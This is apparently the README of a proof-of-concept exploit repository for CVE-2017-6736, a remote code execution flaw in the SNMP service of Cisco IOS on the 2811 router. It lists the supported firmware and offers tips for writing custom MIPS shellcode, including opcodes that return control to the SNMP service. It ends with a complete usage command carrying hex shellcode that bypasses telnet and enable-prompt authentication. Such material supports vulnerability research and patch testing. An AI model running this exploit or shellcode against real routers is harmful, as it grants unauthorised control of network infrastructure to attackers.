CVE-2017-6736 / cisco-sa-20170629-snmp Cisco IOS remote code execution

This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability in SNMP service disclosed by Cisco Systems on June 29th 2017 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170629-snmp

Description

RCE exploit code is available for Cisco Integrated Service Router 2811. This exploit is firmware dependent. The latest firmware version is supported:

Cisco IOS Software, 2800 Software (C2800NM-ADVENTERPRISEK9-M), Version 15.1(4)M12a, RELEASE SOFTWARE (fc1)

ROM Monitor version:

System Bootstrap, Version 12.4(13r)T, RELEASE SOFTWARE (fc1)

Read-only community string is required to trigger the vulnerability.

Shellcode

The exploit requires shellcode as HEX input. This repo contains an example shellcode for bypassing authentication in telnet service and in enable prompt. Shellcode to revert changes is also available. If you want to write your own shellcode feel free to do so. Just have two things in mind:

Don't upset the watchdog by running your code for too long. Call a sleep function once in a while.
Return execution flow back to SNMP service at the end. You can use last opcodes from the demo shellcode:

3c1fbfc4    lui $ra, 0xbfc4
37ff89a8    ori $ra, $ra, 0x89a8
03e00008    jr  $ra
00000000    nop

Usage example

$ sudo python c2800nm-adventerprisek9-mz.151-4.M12a.py 192.168.88.1 public 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000008eb60000000000003c1480003694f000ae96000000000000aea00000000000003c1fbfc437ff89a803e0000800000000
